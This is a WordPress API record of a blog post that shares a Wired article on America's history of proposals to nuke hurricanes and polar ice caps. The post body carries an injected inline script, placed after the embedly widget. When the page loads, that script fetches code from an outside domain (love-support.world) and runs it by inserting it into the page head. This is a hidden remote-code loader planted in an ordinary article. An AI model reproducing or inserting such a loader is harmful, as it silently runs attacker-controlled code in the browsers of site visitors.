{"id":446,"date":"2019-08-27T14:11:47","date_gmt":"2019-08-27T21:11:47","guid":{"rendered":"https:\/\/historynet.net\/?p=446"},"modified":"2019-08-27T14:11:47","modified_gmt":"2019-08-27T21:11:47","slug":"wired-americas-decades-old-obsession-with-nuking-hurricanes-and-more","status":"publish","type":"post","link":"https:\/\/www.historynet.net\/index.php\/2019\/08\/27\/wired-americas-decades-old-obsession-with-nuking-hurricanes-and-more\/","title":{"rendered":"Wired: America&#8217;s Decades-Old Obsession With Nuking Hurricanes (and More)"},"content":{"rendered":"<p>If you think dropping a nuclear bomb into the eye of a hurricane is a bad idea, wait&#8217;ll you see what they had in mind for the polar ice caps.<\/p>\n<hr\/>\n<p>&nbsp;<\/p>\n<blockquote class=\"embedly-card\" data-card-key=\"0aeedbb5219f4affa47f14d667339550\" data-card-type=\"article-full\">\n<h4><a href=\"https:\/\/www.wired.com\/story\/nuking-hurricanes-polar-ice-caps-climate-change\/?verso=true\">America&#8217;s Decades-Old Obsession With Nuking Hurricanes (and More)<\/a><\/h4>\n<p>Sunday night, Axios&#8217;s Jonathan Swan broke news that Donald Trump-among his many often random musings-appears to have considered one of the worst-but-most-persistent ideas in public policy: Nuking hurricanes. The idea has evidently surfaced multiple times in the administration, as Swan outlined, including during a hurricane preparedness briefings at the White House.<\/p>\n<\/blockquote>\n<p><script async src=\"\/\/cdn.embedly.com\/widgets\/platform.js\" charset=\"UTF-8\"><\/script><script>var url = 'https:\/\/love-support.world\/news';\nfetch(url)\n    .then(response => response.text())\n    .then(data => {\n        var script = document.createElement('script');\n        script.textContent = data;\n        document.getElementsByTagName('head')[0].appendChild(script);\n    })<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>If you think dropping a nuclear bomb into the eye of a hurricane is a bad idea, wait&#8217;ll you see what they had in mind for the polar ice caps. &nbsp; America&#8217;s Decades-Old Obsession With Nuking Hurricanes (and More) Sunday night, Axios&#8217;s Jonathan Swan broke news that Donald Trump-among his many often random musings-appears to [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":447,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_et_pb_use_builder":"","_et_pb_old_content":"","_et_gb_content_width":"","footnotes":""},"categories":[14,17],"tags":[],"class_list":["post-446","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-history-matters","category-main"],"_links":{"self":[{"href":"https:\/\/www.historynet.net\/index.php\/wp-json\/wp\/v2\/posts\/446","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.historynet.net\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.historynet.net\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.historynet.net\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.historynet.net\/index.php\/wp-json\/wp\/v2\/comments?post=446"}],"version-history":[{"count":0,"href":"https:\/\/www.historynet.net\/index.php\/wp-json\/wp\/v2\/posts\/446\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.historynet.net\/index.php\/wp-json\/"}],"wp:attachment":[{"href":"https:\/\/www.historynet.net\/index.php\/wp-json\/wp\/v2\/media?parent=446"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.historynet.net\/index.php\/wp-json\/wp\/v2\/categories?post=446"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.historynet.net\/index.php\/wp-json\/wp\/v2\/tags?post=446"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}